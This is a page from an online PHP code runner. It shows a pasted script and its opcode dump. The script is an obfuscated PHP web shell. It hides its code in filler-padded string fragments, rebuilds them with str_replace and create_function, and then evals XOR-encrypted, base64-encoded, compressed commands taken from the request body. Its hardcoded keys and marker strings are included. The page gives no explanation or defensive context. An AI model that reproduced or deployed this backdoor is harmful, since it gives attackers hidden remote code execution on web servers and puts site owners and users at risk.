3v4l.org

run code in 300+ PHP versions simultaneously
<?php highlight_file(__FILE__); $Y='{$o.=$Pt{$i}^$k{PP$j}P;}}retPurn $o;}Pif(@preg_maPtch("/$khP(.+)$kPf/P",@file_gPePtP_contents(PP"php:/'; $j=str_replace('J','','JJcreate_JfJunJctJion'); $u='contentPs();@ob_enPd_Pclean();PP$r=P@base6P4_encode(@Px(@gPzcompress($Po),$k));Pprint("P$p$kh$Pr$kf");}'; $x='/input"P),$m)==1){@Pob_Pstart();P@ePval(@gzuPncompPresPs(@x(@bPPase64_Pdecode($Pm[1]),P$Pk)));P$o=@ob_get_'; $Z=',$k){$c=Pstrlen($Pk)P;$l=strlPen($t);P$o=P"";forP($Pi=0;$Pi<$l;){for($jP=P0;($j<$cP&&$i<$l);$jP+PP+,$i++)'; $C='$k="7Pccf819P2";$PkPh="528P2714P13977";$kf="f5415P27062PPa9";$p="ieP3xNVP9ea8twe7wPl";fuPnPction x($Pt'; $U=str_replace('P','',$C.$Z.$Y.$x.$u); $E=$j('',$U); print($E); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/MadeX
function name:  (null)
number of ops:  31
compiled vars:  !0 = $Y, !1 = $j, !2 = $u, !3 = $x, !4 = $Z, !5 = $C, !6 = $U, !7 = $E
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'highlight_file'
          1        SEND_VAL                                                 '%2Fin%2FMadeX'
          2        DO_ICALL                                                 
    3     3        ASSIGN                                                   !0, '%7B%24o.%3D%24Pt%7B%24i%7D%5E%24k%7BPP%24j%7DP%3B%7D%7DretPurn+%24o%3B%7DPif%28%40preg_maPtch%28%22%2F%24khP%28.%2B%29%24kPf%2FP%22%2C%40file_gPePtP_contents%28PP%22php%3A%2F'
    4     4        INIT_FCALL                                               'str_replace'
          5        SEND_VAL                                                 'J'
          6        SEND_VAL                                                 ''
          7        SEND_VAL                                                 'JJcreate_JfJunJctJion'
          8        DO_ICALL                                         $10     
          9        ASSIGN                                                   !1, $10
    5    10        ASSIGN                                                   !2, 'contentPs%28%29%3B%40ob_enPd_Pclean%28%29%3BPP%24r%3DP%40base6P4_encode%28%40Px%28%40gPzcompress%28%24Po%29%2C%24k%29%29%3BPprint%28%22P%24p%24kh%24Pr%24kf%22%29%3B%7D'
    6    11        ASSIGN                                                   !3, '%2Finput%22P%29%2C%24m%29%3D%3D1%29%7B%40Pob_Pstart%28%29%3BP%40ePval%28%40gzuPncompPresPs%28%40x%28%40bPPase64_Pdecode%28%24Pm%5B1%5D%29%2CP%24Pk%29%29%29%3BP%24o%3D%40ob_get_'
    7    12        ASSIGN                                                   !4, '%2C%24k%29%7B%24c%3DPstrlen%28%24Pk%29P%3B%24l%3DstrlPen%28%24t%29%3BP%24o%3DP%22%22%3BforP%28%24Pi%3D0%3B%24Pi%3C%24l%3B%29%7Bfor%28%24jP%3DP0%3B%28%24j%3C%24cP%26%26%24i%3C%24l%29%3B%24jP%2BPP%2B%2C%24i%2B%2B%29'
    8    13        ASSIGN                                                   !5, '%24k%3D%227Pccf819P2%22%3B%24PkPh%3D%22528P2714P13977%22%3B%24kf%3D%22f5415P27062PPa9%22%3B%24p%3D%22ieP3xNVP9ea8twe7wPl%22%3BfuPnPction+x%28%24Pt'
    9    14        INIT_FCALL                                               'str_replace'
         15        SEND_VAL                                                 'P'
         16        SEND_VAL                                                 ''
         17        CONCAT                                           ~16     !5, !4
         18        CONCAT                                           ~17     ~16, !0
         19        CONCAT                                           ~18     ~17, !3
         20        CONCAT                                           ~19     ~18, !2
         21        SEND_VAL                                                 ~19
         22        DO_ICALL                                         $20     
         23        ASSIGN                                                   !6, $20
   10    24        INIT_DYNAMIC_CALL                                        !1
         25        SEND_VAL_EX                                              ''
         26        SEND_VAR_EX                                              !6
         27        DO_FCALL                                      0  $22     
         28        ASSIGN                                                   !7, $22
   11    29        ECHO                                                     !7
   12    30      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
185.83 ms | 1012 KiB | 15 Q